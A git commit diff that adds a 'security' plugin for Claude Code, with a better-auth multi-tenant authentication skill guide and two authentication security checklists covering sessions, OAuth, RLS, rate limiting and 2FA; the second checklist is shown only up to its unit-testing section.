Initial commit
This commit is contained in:
13
.claude-plugin/plugin.json
Normal file
13
.claude-plugin/plugin.json
Normal file
@@ -0,0 +1,13 @@
|
||||
{
|
||||
"name": "security",
|
||||
"description": "Security scanning and vulnerability auditing following OWASP Top 10 guidelines with automated remediation",
|
||||
"version": "1.0.0",
|
||||
"author": {
|
||||
"name": "Grey Haven Studio"
|
||||
},
|
||||
"skills": [
|
||||
"./skills/authentication-patterns",
|
||||
"./skills/security-analysis",
|
||||
"./skills/security-practices"
|
||||
]
|
||||
}
|
||||
3
README.md
Normal file
3
README.md
Normal file
@@ -0,0 +1,3 @@
|
||||
# security
|
||||
|
||||
Security scanning and vulnerability auditing following OWASP Top 10 guidelines with automated remediation
|
||||
105
plugin.lock.json
Normal file
105
plugin.lock.json
Normal file
@@ -0,0 +1,105 @@
|
||||
{
|
||||
"$schema": "internal://schemas/plugin.lock.v1.json",
|
||||
"pluginId": "gh:greyhaven-ai/claude-code-config:grey-haven-plugins/security",
|
||||
"normalized": {
|
||||
"repo": null,
|
||||
"ref": "refs/tags/v20251128.0",
|
||||
"commit": "3eb4926ba54895dfd80dc66f075732a6d0f50c46",
|
||||
"treeHash": "695b392d6009c775ce7b12a607f15009a2fa84bb462d19bfe3b2288ad3a067d3",
|
||||
"generatedAt": "2025-11-28T10:17:04.516972Z",
|
||||
"toolVersion": "publish_plugins.py@0.2.0"
|
||||
},
|
||||
"origin": {
|
||||
"remote": "git@github.com:zhongweili/42plugin-data.git",
|
||||
"branch": "master",
|
||||
"commit": "aa1497ed0949fd50e99e70d6324a29c5b34f9390",
|
||||
"repoRoot": "/Users/zhongweili/projects/openmind/42plugin-data"
|
||||
},
|
||||
"manifest": {
|
||||
"name": "security",
|
||||
"description": "Security scanning and vulnerability auditing following OWASP Top 10 guidelines with automated remediation",
|
||||
"version": "1.0.0"
|
||||
},
|
||||
"content": {
|
||||
"files": [
|
||||
{
|
||||
"path": "README.md",
|
||||
"sha256": "bec2a24dc48a1f60559fc587aedee04ded64725270a7a8de449130cbd87807d6"
|
||||
},
|
||||
{
|
||||
"path": ".claude-plugin/plugin.json",
|
||||
"sha256": "c49b28dd5bbe85567f61439f37c2c5ce1af3cbc268002f5e7bf024a21564db19"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-practices/SKILL.md",
|
||||
"sha256": "cf34fd672fd922a844de949f84bd89a15ab8a65409e62cb1e37fba6947d71e50"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-practices/checklists/security-audit-checklist.md",
|
||||
"sha256": "fa8ec545f0feae95f709dc4ec2886f32a1d828566d4821c7024632067770b2ab"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-practices/examples/multi-tenant-rls-example.md",
|
||||
"sha256": "cf2d1dcf1976c3c716ef8222184a537565da3342a22520bc5d32b7f8a170f13e"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-practices/examples/INDEX.md",
|
||||
"sha256": "ecb2fdb346c69fe8a99fcd8f67983e61877a809499df798f06d73ec35db02c8c"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-practices/examples/input-validation-example.md",
|
||||
"sha256": "cdbbb8649ceffc48f5028518610f539abd0e9753a4424fee2831dcd36a273068"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-practices/reference/INDEX.md",
|
||||
"sha256": "0e4f4d8d1c2aea10b569502442b0e4b568fdf8d2bc576e48af9197fb300c5bb2"
|
||||
},
|
||||
{
|
||||
"path": "skills/authentication-patterns/SKILL.md",
|
||||
"sha256": "0a5dd310134dd094fd1f3c5eae940e9d31cfca46804107498d4cdb80b1d5b5c6"
|
||||
},
|
||||
{
|
||||
"path": "skills/authentication-patterns/checklists/auth-checklist.md",
|
||||
"sha256": "67716c182dce21009ba29e351b327b7d87f0a6ac5925a95be4d017006a21506b"
|
||||
},
|
||||
{
|
||||
"path": "skills/authentication-patterns/checklists/authentication-security-checklist.md",
|
||||
"sha256": "b214c57ae9e61686cadf5cd0f90a994b90cb4dffc85e2ecbc09fffef72961688"
|
||||
},
|
||||
{
|
||||
"path": "skills/authentication-patterns/examples/INDEX.md",
|
||||
"sha256": "0f520f6bf472d2c3e601fd3796402662b1297f9515b272c7bd4537d82f32a526"
|
||||
},
|
||||
{
|
||||
"path": "skills/authentication-patterns/reference/INDEX.md",
|
||||
"sha256": "29570ae5fa9c4c52da31d2ce3b12af43cf95313cb316a3936a3ffc3d4abb4610"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-analysis/SKILL.md",
|
||||
"sha256": "8f6006b6d7dc02ce054a7df2a08fcd50aeacf7f2c56c76619dd06c4502ab7032"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-analysis/examples/INDEX.md",
|
||||
"sha256": "308fdda3ce20362313d98d70146769bfedd2647503138076f5ceb6798f519fdc"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-analysis/templates/security-report.md",
|
||||
"sha256": "b6169e6428f336e584e9f36c1eae0a4e98e1a1f38dcb00161b725a4b7f3756db"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-analysis/templates/INDEX.md",
|
||||
"sha256": "4aa70e7693f402ec43e0c2feaa4650a0292ad41fcf3d1cc5d3412534498fff2b"
|
||||
},
|
||||
{
|
||||
"path": "skills/security-analysis/reference/INDEX.md",
|
||||
"sha256": "31963656c32c0c97cdb21aedb6f008b8a4e9ed8e81f3635a393ecc19592d75b6"
|
||||
}
|
||||
],
|
||||
"dirSha256": "695b392d6009c775ce7b12a607f15009a2fa84bb462d19bfe3b2288ad3a067d3"
|
||||
},
|
||||
"security": {
|
||||
"scannedAt": null,
|
||||
"scannerVersion": null,
|
||||
"flags": []
|
||||
}
|
||||
}
|
||||
265
skills/authentication-patterns/SKILL.md
Normal file
265
skills/authentication-patterns/SKILL.md
Normal file
@@ -0,0 +1,265 @@
|
||||
---
|
||||
name: grey-haven-authentication-patterns
|
||||
description: Grey Haven's authentication patterns using better-auth - magic links, passkeys, OAuth providers, session management with Redis, JWT claims with tenant_id, and Doppler for auth secrets. Use when implementing authentication features.
|
||||
---
|
||||
|
||||
# Grey Haven Authentication Patterns
|
||||
|
||||
Follow Grey Haven Studio's authentication patterns using better-auth for TanStack Start projects with multi-tenant support.
|
||||
|
||||
## Stack
|
||||
|
||||
- **better-auth**: Authentication library for TanStack Start
|
||||
- **Drizzle ORM**: Database adapter for better-auth
|
||||
- **Doppler**: Secret management (BETTER_AUTH_SECRET, OAuth keys)
|
||||
- **Redis**: Session storage (via Upstash)
|
||||
- **PostgreSQL**: User and session data with RLS
|
||||
|
||||
## Critical Requirements
|
||||
|
||||
### Multi-Tenant Authentication
|
||||
**ALWAYS include tenant_id in auth tables**:
|
||||
```typescript
|
||||
export const users = pgTable("users", {
|
||||
id: uuid("id").primaryKey().defaultRandom(),
|
||||
tenant_id: uuid("tenant_id").notNull(), // CRITICAL!
|
||||
email_address: text("email_address").notNull().unique(),
|
||||
// ... other fields
|
||||
});
|
||||
|
||||
export const sessions = pgTable("sessions", {
|
||||
id: uuid("id").primaryKey().defaultRandom(),
|
||||
user_id: uuid("user_id").references(() => users.id),
|
||||
tenant_id: uuid("tenant_id").notNull(), // CRITICAL!
|
||||
// ... other fields
|
||||
});
|
||||
```
|
||||
|
||||
### Doppler for Secrets
|
||||
**NEVER commit auth secrets**:
|
||||
```bash
|
||||
# Doppler provides these at runtime
|
||||
BETTER_AUTH_SECRET=<generated-secret>
|
||||
BETTER_AUTH_URL=https://app.example.com
|
||||
GOOGLE_CLIENT_ID=<from-google-console>
|
||||
GOOGLE_CLIENT_SECRET=<from-google-console>
|
||||
```
|
||||
|
||||
## Basic Configuration
|
||||
|
||||
```typescript
|
||||
// lib/server/auth.ts
|
||||
import { betterAuth } from "better-auth";
|
||||
import { drizzleAdapter } from "@better-auth/drizzle";
|
||||
import { db } from "~/lib/server/db";
|
||||
|
||||
export const auth = betterAuth({
|
||||
database: drizzleAdapter(db, {
|
||||
provider: "pg",
|
||||
schema,
|
||||
}),
|
||||
emailAndPassword: {
|
||||
enabled: true,
|
||||
requireEmailVerification: true,
|
||||
},
|
||||
secret: process.env.BETTER_AUTH_SECRET!,
|
||||
baseURL: process.env.BETTER_AUTH_URL!,
|
||||
trustedOrigins: [process.env.BETTER_AUTH_URL!],
|
||||
});
|
||||
```
|
||||
|
||||
## Authentication Methods
|
||||
|
||||
### 1. Email & Password
|
||||
|
||||
```typescript
|
||||
// Sign up with email verification
|
||||
await auth.signUp.email({
|
||||
email: "user@example.com",
|
||||
password: "secure-password",
|
||||
name: "John Doe",
|
||||
data: {
|
||||
tenant_id: tenantId, // Include tenant context
|
||||
},
|
||||
});
|
||||
|
||||
// Sign in
|
||||
await auth.signIn.email({
|
||||
email: "user@example.com",
|
||||
password: "secure-password",
|
||||
});
|
||||
```
|
||||
|
||||
### 2. Magic Links
|
||||
|
||||
```typescript
|
||||
// Send magic link
|
||||
await auth.magicLink.send({
|
||||
email: "user@example.com",
|
||||
callbackURL: "/auth/verify",
|
||||
});
|
||||
|
||||
// Verify magic link token
|
||||
await auth.magicLink.verify({
|
||||
token: tokenFromEmail,
|
||||
});
|
||||
```
|
||||
|
||||
### 3. OAuth Providers
|
||||
|
||||
```typescript
|
||||
// Google OAuth
|
||||
export const auth = betterAuth({
|
||||
// ... other config
|
||||
socialProviders: {
|
||||
google: {
|
||||
clientId: process.env.GOOGLE_CLIENT_ID!,
|
||||
clientSecret: process.env.GOOGLE_CLIENT_SECRET!,
|
||||
scopes: ["email", "profile"],
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
// Redirect to Google
|
||||
await auth.signIn.social({
|
||||
provider: "google",
|
||||
callbackURL: "/auth/callback",
|
||||
});
|
||||
```
|
||||
|
||||
### 4. Passkeys (WebAuthn)
|
||||
|
||||
```typescript
|
||||
// Enable passkeys
|
||||
export const auth = betterAuth({
|
||||
// ... other config
|
||||
passkey: {
|
||||
enabled: true,
|
||||
},
|
||||
});
|
||||
|
||||
// Register passkey
|
||||
await auth.passkey.register({
|
||||
name: "My MacBook",
|
||||
});
|
||||
|
||||
// Authenticate with passkey
|
||||
await auth.passkey.authenticate();
|
||||
```
|
||||
|
||||
## Session Management
|
||||
|
||||
### JWT Claims with tenant_id
|
||||
|
||||
```typescript
|
||||
// Middleware to extract tenant from JWT
|
||||
export async function getTenantFromSession() {
|
||||
const session = await auth.api.getSession();
|
||||
|
||||
if (!session) {
|
||||
throw new Error("Not authenticated");
|
||||
}
|
||||
|
||||
return {
|
||||
userId: session.user.id,
|
||||
tenantId: session.user.tenant_id, // From JWT claims
|
||||
user: session.user,
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
### Session Storage with Redis
|
||||
|
||||
```typescript
|
||||
// Use Upstash Redis for sessions
|
||||
export const auth = betterAuth({
|
||||
// ... other config
|
||||
session: {
|
||||
expiresIn: 60 * 60 * 24 * 7, // 7 days
|
||||
updateAge: 60 * 60 * 24, // Refresh daily
|
||||
cookieCache: {
|
||||
enabled: true,
|
||||
maxAge: 5 * 60, // 5 minutes
|
||||
},
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
## Protected Routes
|
||||
|
||||
### TanStack Router beforeLoad
|
||||
|
||||
```typescript
|
||||
// routes/_authenticated/_layout.tsx
|
||||
import { createFileRoute, redirect } from "@tanstack/react-router";
|
||||
import { getTenantFromSession } from "~/lib/server/auth";
|
||||
|
||||
export const Route = createFileRoute("/_authenticated/_layout")({
|
||||
beforeLoad: async () => {
|
||||
try {
|
||||
const { userId, tenantId, user } = await getTenantFromSession();
|
||||
return { session: { userId, tenantId, user } };
|
||||
} catch {
|
||||
throw redirect({
|
||||
to: "/auth/login",
|
||||
search: { redirect: location.href },
|
||||
});
|
||||
}
|
||||
},
|
||||
});
|
||||
```
|
||||
|
||||
## Supporting Documentation
|
||||
|
||||
All supporting files are under 500 lines per Anthropic best practices:
|
||||
|
||||
- **[examples/](examples/)** - Complete auth examples
|
||||
- [magic-link.md](examples/magic-link.md) - Magic link implementation
|
||||
- [oauth.md](examples/oauth.md) - OAuth provider setup
|
||||
- [passkeys.md](examples/passkeys.md) - Passkey authentication
|
||||
- [multi-tenant.md](examples/multi-tenant.md) - Multi-tenant patterns
|
||||
- [INDEX.md](examples/INDEX.md) - Examples navigation
|
||||
|
||||
- **[reference/](reference/)** - Auth references
|
||||
- [better-auth-config.md](reference/better-auth-config.md) - Configuration options
|
||||
- [session-management.md](reference/session-management.md) - Session patterns
|
||||
- [doppler-setup.md](reference/doppler-setup.md) - Secret management
|
||||
- [INDEX.md](reference/INDEX.md) - Reference navigation
|
||||
|
||||
- **[templates/](templates/)** - Copy-paste ready templates
|
||||
- [auth-config.ts](templates/auth-config.ts) - better-auth configuration
|
||||
- [auth-schema.ts](templates/auth-schema.ts) - Drizzle auth schema
|
||||
- [protected-route.tsx](templates/protected-route.tsx) - Protected route layout
|
||||
|
||||
- **[checklists/](checklists/)** - Security checklists
|
||||
- [auth-checklist.md](checklists/auth-checklist.md) - Authentication security
|
||||
|
||||
## When to Apply This Skill
|
||||
|
||||
Use this skill when:
|
||||
- Implementing user authentication
|
||||
- Adding OAuth providers (Google, GitHub)
|
||||
- Setting up magic link authentication
|
||||
- Configuring passkey support
|
||||
- Managing user sessions
|
||||
- Implementing multi-tenant auth
|
||||
- Securing API endpoints
|
||||
- Setting up protected routes
|
||||
|
||||
## Template Reference
|
||||
|
||||
These patterns are from Grey Haven's production templates:
|
||||
- **cvi-template**: TanStack Start + better-auth + multi-tenant
|
||||
|
||||
## Critical Reminders
|
||||
|
||||
1. **tenant_id**: Always include in users and sessions tables
|
||||
2. **Doppler**: Use for all auth secrets (never commit!)
|
||||
3. **Email verification**: Required for email/password signup
|
||||
4. **JWT claims**: Include tenant_id in session data
|
||||
5. **Protected routes**: Use beforeLoad for auth checks
|
||||
6. **Redis sessions**: Use Upstash for distributed sessions
|
||||
7. **OAuth secrets**: Store in Doppler (Google, GitHub, etc.)
|
||||
8. **RLS policies**: Create for users and sessions tables
|
||||
9. **Session expiry**: 7 days default, refresh daily
|
||||
10. **Magic links**: 15-minute expiry, single-use tokens
|
||||
66
skills/authentication-patterns/checklists/auth-checklist.md
Normal file
66
skills/authentication-patterns/checklists/auth-checklist.md
Normal file
@@ -0,0 +1,66 @@
|
||||
# Authentication Security Checklist
|
||||
|
||||
**Use before deploying authentication features.**
|
||||
|
||||
## Configuration Security
|
||||
|
||||
- [ ] BETTER_AUTH_SECRET stored in Doppler (never committed)
|
||||
- [ ] OAuth secrets in Doppler (Google, GitHub, etc.)
|
||||
- [ ] BETTER_AUTH_URL matches production domain
|
||||
- [ ] trustedOrigins configured correctly
|
||||
- [ ] Session expiry configured (7 days default)
|
||||
|
||||
## Database Security
|
||||
|
||||
- [ ] tenant_id included in users table
|
||||
- [ ] tenant_id included in sessions table
|
||||
- [ ] RLS policies created for users table
|
||||
- [ ] RLS policies created for sessions table
|
||||
- [ ] Email addresses unique constraint
|
||||
- [ ] Passwords never stored in plain text (better-auth handles)
|
||||
|
||||
## Multi-Tenant Isolation
|
||||
|
||||
- [ ] tenant_id extracted from JWT claims
|
||||
- [ ] All auth queries filter by tenant_id
|
||||
- [ ] Session data includes tenant context
|
||||
- [ ] Test cases verify tenant isolation
|
||||
|
||||
## Email Verification
|
||||
|
||||
- [ ] Email verification required for signup
|
||||
- [ ] Verification tokens expire (15 minutes)
|
||||
- [ ] Verification tokens single-use
|
||||
- [ ] Email templates styled (Resend/SendGrid)
|
||||
|
||||
## OAuth Configuration
|
||||
|
||||
- [ ] OAuth redirect URLs whitelisted
|
||||
- [ ] OAuth scopes minimal (email, profile only)
|
||||
- [ ] OAuth secrets in Doppler
|
||||
- [ ] OAuth callback URLs HTTPS only
|
||||
|
||||
## Session Management
|
||||
|
||||
- [ ] Redis/Upstash configured for sessions
|
||||
- [ ] Session tokens stored securely (httpOnly cookies)
|
||||
- [ ] Session refresh configured (1 day)
|
||||
- [ ] Session expiry configured (7 days)
|
||||
|
||||
## Protected Routes
|
||||
|
||||
- [ ] beforeLoad checks authentication
|
||||
- [ ] Redirects to login with return URL
|
||||
- [ ] Session data available in route context
|
||||
- [ ] Logout clears session completely
|
||||
|
||||
## Testing
|
||||
|
||||
- [ ] Signup flow tested
|
||||
- [ ] Login flow tested
|
||||
- [ ] Logout tested
|
||||
- [ ] Email verification tested
|
||||
- [ ] OAuth flow tested (if enabled)
|
||||
- [ ] Magic link tested (if enabled)
|
||||
- [ ] Passkey tested (if enabled)
|
||||
- [ ] Multi-tenant isolation tested
|
||||
@@ -0,0 +1,466 @@
|
||||
# Authentication & Authorization Security Checklist
|
||||
|
||||
Comprehensive checklist for implementing secure authentication and authorization patterns with Better Auth and multi-tenant architecture.
|
||||
|
||||
## Pre-Implementation Planning
|
||||
|
||||
- [ ] **Choose authentication method** (Better Auth, custom, OAuth only)
|
||||
- [ ] **Define user roles** (admin, user, viewer, etc.)
|
||||
- [ ] **Map permissions** to roles
|
||||
- [ ] **Choose session strategy** (JWT, database sessions, cookies)
|
||||
- [ ] **Plan multi-tenant isolation** (tenant-level permissions)
|
||||
- [ ] **Review compliance requirements** (GDPR, HIPAA, SOC2)
|
||||
|
||||
## Better Auth Setup
|
||||
|
||||
### Installation & Configuration
|
||||
|
||||
- [ ] **Better Auth installed** (`npm install better-auth`)
|
||||
- [ ] **Configuration file created** (`auth.config.ts` or similar)
|
||||
- [ ] **Database adapter configured** (Drizzle, Prisma, etc.)
|
||||
- [ ] **Environment variables set** (secrets, URLs)
|
||||
- [ ] **CSRF protection enabled** (default in Better Auth)
|
||||
|
||||
### OAuth Providers
|
||||
|
||||
- [ ] **OAuth providers configured** (Google, GitHub, etc.):
|
||||
```typescript
|
||||
providers: [
|
||||
google({
|
||||
clientId: process.env.GOOGLE_CLIENT_ID!,
|
||||
clientSecret: process.env.GOOGLE_CLIENT_SECRET!
|
||||
}),
|
||||
github({
|
||||
clientId: process.env.GITHUB_CLIENT_ID!,
|
||||
clientSecret: process.env.GITHUB_CLIENT_SECRET!
|
||||
})
|
||||
]
|
||||
```
|
||||
|
||||
- [ ] **OAuth redirect URIs whitelisted** in provider dashboards
|
||||
- [ ] **OAuth scopes minimal** (only request what's needed)
|
||||
- [ ] **OAuth state parameter validated** (CSRF protection)
|
||||
- [ ] **OAuth error handling** implemented
|
||||
|
||||
### Email/Password Authentication
|
||||
|
||||
- [ ] **Password hashing** with secure algorithm (bcrypt, Argon2)
|
||||
- [ ] **Password requirements** enforced:
|
||||
- [ ] Minimum 8 characters
|
||||
- [ ] Mix of uppercase, lowercase, numbers, symbols
|
||||
- [ ] Password strength meter on frontend
|
||||
- [ ] Common password blocklist
|
||||
|
||||
- [ ] **Email verification** implemented:
|
||||
- [ ] Verification email sent on registration
|
||||
- [ ] Token expires after reasonable time (24 hours)
|
||||
- [ ] User cannot access protected routes until verified
|
||||
- [ ] Resend verification email option
|
||||
|
||||
- [ ] **Password reset** flow:
|
||||
- [ ] Reset link sent to email
|
||||
- [ ] Token single-use and time-limited
|
||||
- [ ] Old password invalidated after reset
|
||||
- [ ] User notified of password change
|
||||
|
||||
## Session Management
|
||||
|
||||
### Session Storage
|
||||
|
||||
- [ ] **Sessions stored securely**:
|
||||
- [ ] Database sessions (recommended for multi-tenant)
|
||||
- [ ] Encrypted session cookies
|
||||
- [ ] No sensitive data in localStorage
|
||||
|
||||
- [ ] **Session expiration** configured:
|
||||
- [ ] Reasonable timeout (30 minutes idle, 24 hours absolute)
|
||||
- [ ] Refresh token flow (if using JWT)
|
||||
- [ ] Grace period for session extension
|
||||
|
||||
- [ ] **Session invalidation** on:
|
||||
- [ ] Logout
|
||||
- [ ] Password change
|
||||
- [ ] Security event (suspicious activity)
|
||||
- [ ] User deletion
|
||||
|
||||
### Session Security
|
||||
|
||||
- [ ] **httpOnly cookies** (JavaScript cannot access)
|
||||
- [ ] **secure flag** set (HTTPS only)
|
||||
- [ ] **sameSite attribute** configured (Strict or Lax)
|
||||
- [ ] **Session fixation prevented** (regenerate session ID on login)
|
||||
- [ ] **Concurrent session management** (limit sessions per user)
|
||||
|
||||
## Multi-Tenant Authentication
|
||||
|
||||
### Tenant Context
|
||||
|
||||
- [ ] **Tenant identified** during authentication:
|
||||
- [ ] From subdomain (`tenant.example.com`)
|
||||
- [ ] From custom domain (`example.com`)
|
||||
- [ ] From user selection (post-login)
|
||||
- [ ] From invitation link
|
||||
|
||||
- [ ] **tenant_id stored** in session
|
||||
- [ ] **User-tenant relationship** verified on each request
|
||||
- [ ] **Tenant switching** requires re-authentication (or explicit action)
|
||||
- [ ] **Cross-tenant access blocked** at authentication layer
|
||||
|
||||
### Organization Roles
|
||||
|
||||
- [ ] **Organization model** defined (one tenant = one org)
|
||||
- [ ] **User-Organization membership** table created
|
||||
- [ ] **Roles per organization**:
|
||||
- [ ] Owner (full control)
|
||||
- [ ] Admin (manage users, cannot delete org)
|
||||
- [ ] Member (standard access)
|
||||
- [ ] Viewer (read-only)
|
||||
|
||||
- [ ] **Role inheritance** (Owner has all Admin permissions)
|
||||
- [ ] **Role assignment** restricted (only Owner/Admin can assign roles)
|
||||
|
||||
### Invitation System
|
||||
|
||||
- [ ] **Invitation flow** implemented:
|
||||
- [ ] Admin generates invitation link
|
||||
- [ ] Link includes tenant_id + role
|
||||
- [ ] Link expires after set time
|
||||
- [ ] Link single-use or limited-use
|
||||
- [ ] Email sent with invitation
|
||||
|
||||
- [ ] **Invitation acceptance** creates user-tenant relationship
|
||||
- [ ] **Invitation revocation** possible before acceptance
|
||||
- [ ] **Pending invitations** tracked in database
|
||||
|
||||
## Authorization Patterns
|
||||
|
||||
### Role-Based Access Control (RBAC)
|
||||
|
||||
- [ ] **Roles defined** at application level
|
||||
- [ ] **Permissions mapped** to roles
|
||||
- [ ] **Permission checks** in:
|
||||
- [ ] API route handlers
|
||||
- [ ] Repository methods (data access layer)
|
||||
- [ ] UI components (hide/disable unauthorized actions)
|
||||
|
||||
- [ ] **Authorization middleware** created:
|
||||
```typescript
|
||||
function requireRole(role: Role) {
|
||||
return async (req, res, next) => {
|
||||
const user = req.user;
|
||||
if (!user || user.role !== role) {
|
||||
return res.status(403).json({ error: 'Forbidden' });
|
||||
}
|
||||
next();
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
### Attribute-Based Access Control (ABAC)
|
||||
|
||||
- [ ] **User attributes** checked (tenant_id, role, team_id)
|
||||
- [ ] **Resource attributes** checked (owner_id, tenant_id, visibility)
|
||||
- [ ] **Context attributes** checked (time, IP, device)
|
||||
- [ ] **Policy evaluation** centralized (authorization service)
|
||||
|
||||
### Row-Level Security (RLS)
|
||||
|
||||
- [ ] **RLS policies enabled** on multi-tenant tables:
|
||||
```sql
|
||||
CREATE POLICY tenant_isolation ON users
|
||||
USING (tenant_id = current_setting('app.tenant_id')::uuid);
|
||||
```
|
||||
|
||||
- [ ] **tenant_id set** in database context for each request
|
||||
- [ ] **Admin bypass** policy (when needed):
|
||||
```sql
|
||||
CREATE POLICY admin_all_access ON users
|
||||
USING (
|
||||
current_setting('app.user_role') = 'admin'
|
||||
OR tenant_id = current_setting('app.tenant_id')::uuid
|
||||
);
|
||||
```
|
||||
|
||||
- [ ] **RLS tested** (cannot access other tenant's data)
|
||||
|
||||
## API Security
|
||||
|
||||
### Authentication Endpoints
|
||||
|
||||
- [ ] **Rate limiting** on auth endpoints:
|
||||
- [ ] Login: 5 attempts per 15 minutes
|
||||
- [ ] Registration: 3 accounts per hour per IP
|
||||
- [ ] Password reset: 3 requests per hour per email
|
||||
|
||||
- [ ] **Brute force protection**:
|
||||
- [ ] Account lockout after failed attempts
|
||||
- [ ] CAPTCHA after 3 failed attempts
|
||||
- [ ] Delay responses on failure (same time as success)
|
||||
|
||||
- [ ] **Account enumeration prevented**:
|
||||
- [ ] Same response for existing/non-existing users
|
||||
- [ ] Generic error messages ("Invalid credentials")
|
||||
|
||||
### Protected Endpoints
|
||||
|
||||
- [ ] **Authentication required** (middleware on all protected routes)
|
||||
- [ ] **Authorization verified** (role/permission checks)
|
||||
- [ ] **tenant_id validated** (user belongs to tenant)
|
||||
- [ ] **Input validation** (Zod/Pydantic on all inputs)
|
||||
- [ ] **CORS configured** (whitelist allowed origins)
|
||||
|
||||
### Token Security
|
||||
|
||||
- [ ] **JWT tokens** (if used):
|
||||
- [ ] Short expiration (15 minutes for access token)
|
||||
- [ ] Signed with secret key (HS256 or RS256)
|
||||
- [ ] Claims validated (iss, aud, exp)
|
||||
- [ ] Refresh token rotation
|
||||
- [ ] Refresh token revocation on logout
|
||||
|
||||
- [ ] **API keys** (if used):
|
||||
- [ ] Stored hashed in database
|
||||
- [ ] Scoped to specific tenant
|
||||
- [ ] Can be revoked
|
||||
- [ ] Expiration date set
|
||||
- [ ] Usage tracked (rate limits per key)
|
||||
|
||||
## Frontend Security
|
||||
|
||||
### Client-Side Auth
|
||||
|
||||
- [ ] **Auth state managed** (React context, store)
|
||||
- [ ] **Protected routes** implemented:
|
||||
```typescript
|
||||
function ProtectedRoute({ children }) {
|
||||
const { user, loading } = useAuth();
|
||||
if (loading) return <Loading />;
|
||||
if (!user) return <Navigate to="/login" />;
|
||||
return children;
|
||||
}
|
||||
```
|
||||
|
||||
- [ ] **Role-based UI** (hide/disable unauthorized actions)
|
||||
- [ ] **Token refresh** handled automatically
|
||||
- [ ] **Logout on 401** responses
|
||||
|
||||
### Secure Storage
|
||||
|
||||
- [ ] **No sensitive data** in localStorage:
|
||||
- [ ] No passwords
|
||||
- [ ] No full credit card numbers
|
||||
- [ ] No SSNs or PII
|
||||
|
||||
- [ ] **Session storage** for temporary data only
|
||||
- [ ] **Cookies** for authentication tokens (httpOnly)
|
||||
|
||||
### CSRF Protection
|
||||
|
||||
- [ ] **CSRF tokens** on state-changing requests
|
||||
- [ ] **SameSite cookies** (Strict or Lax)
|
||||
- [ ] **Referer header** validation (optional defense in depth)
|
||||
|
||||
## Password Security
|
||||
|
||||
### Password Storage
|
||||
|
||||
- [ ] **Never store plaintext** passwords
|
||||
- [ ] **Use bcrypt or Argon2** (not SHA-256 or MD5)
|
||||
- [ ] **Salt per password** (automatic with bcrypt/Argon2)
|
||||
- [ ] **Cost factor appropriate** (10-12 for bcrypt)
|
||||
- [ ] **Pepper used** (additional application-wide secret)
|
||||
|
||||
### Password Policies
|
||||
|
||||
- [ ] **Minimum length** 8 characters (12+ recommended)
|
||||
- [ ] **Complexity requirements** (optional, often counterproductive)
|
||||
- [ ] **Password history** (prevent reuse of last 5 passwords)
|
||||
- [ ] **Password expiration** (only if required by compliance)
|
||||
- [ ] **Compromised password check** (Have I Been Pwned API)
|
||||
|
||||
## Social Engineering Prevention
|
||||
|
||||
- [ ] **Email verification** required before account activation
|
||||
- [ ] **Suspicious activity alerts**:
|
||||
- [ ] Login from new device
|
||||
- [ ] Login from new location
|
||||
- [ ] Password change
|
||||
- [ ] Email change
|
||||
- [ ] Role change
|
||||
|
||||
- [ ] **Security questions** avoided (weak authentication)
|
||||
- [ ] **2FA encouraged** (optional or required)
|
||||
- [ ] **Account recovery** requires multiple factors (email + SMS)
|
||||
|
||||
## Two-Factor Authentication (2FA)
|
||||
|
||||
- [ ] **2FA supported** (TOTP, SMS, or hardware keys)
|
||||
- [ ] **2FA enrollment** flow:
|
||||
- [ ] User scans QR code (TOTP)
|
||||
- [ ] User verifies code to confirm setup
|
||||
- [ ] Backup codes generated
|
||||
- [ ] 2FA cannot be disabled without authentication
|
||||
|
||||
- [ ] **2FA enforcement** (optional or required):
|
||||
- [ ] Required for admins
|
||||
- [ ] Optional for users
|
||||
- [ ] Grace period for enrollment (7 days)
|
||||
|
||||
- [ ] **Backup codes** provided (10 single-use codes)
|
||||
- [ ] **2FA recovery** flow (if device lost)
|
||||
|
||||
## Logging & Monitoring
|
||||
|
||||
### Authentication Events
|
||||
|
||||
- [ ] **Log all auth events**:
|
||||
- [ ] Successful logins (user, tenant, IP, timestamp)
|
||||
- [ ] Failed login attempts
|
||||
- [ ] Logout events
|
||||
- [ ] Password changes
|
||||
- [ ] Role changes
|
||||
- [ ] 2FA enrollment/removal
|
||||
|
||||
- [ ] **Structured logging** (JSON format for parsing)
|
||||
- [ ] **PII handling** in logs (hash or redact sensitive data)
|
||||
- [ ] **Log retention** policy (90 days minimum for security events)
|
||||
|
||||
### Anomaly Detection
|
||||
|
||||
- [ ] **Monitor for**:
|
||||
- [ ] Multiple failed logins from same IP
|
||||
- [ ] Login from unusual location
|
||||
- [ ] Rapid API requests (potential bot)
|
||||
- [ ] Privilege escalation attempts
|
||||
- [ ] Mass data access (potential breach)
|
||||
|
||||
- [ ] **Alerts configured** for suspicious activity
|
||||
- [ ] **Automated responses** (account lock, CAPTCHA)
|
||||
- [ ] **Security team notified** for critical events
|
||||
|
||||
## Compliance & Privacy
|
||||
|
||||
### GDPR Compliance
|
||||
|
||||
- [ ] **Consent captured** for data processing
|
||||
- [ ] **Privacy policy** accessible
|
||||
- [ ] **Right to access** (users can export data)
|
||||
- [ ] **Right to deletion** (users can delete account)
|
||||
- [ ] **Data minimization** (only collect necessary data)
|
||||
- [ ] **Breach notification** process defined
|
||||
|
||||
### SOC2 Requirements
|
||||
|
||||
- [ ] **Access logging** comprehensive
|
||||
- [ ] **Session management** secure
|
||||
- [ ] **Encryption** in transit (HTTPS) and at rest
|
||||
- [ ] **MFA available** for privileged accounts
|
||||
- [ ] **Security training** for developers
|
||||
|
||||
## Testing Authentication
|
||||
|
||||
### Unit Tests
|
||||
|
||||
- [ ] **Password hashing** tested
|
||||
- [ ] **Token generation/validation** tested
|
||||
- [ ] **Permission checks** tested
|
||||
- [ ] **Role assignment** tested
|
||||
- [ ] **Tenant isolation** tested
|
||||
|
||||
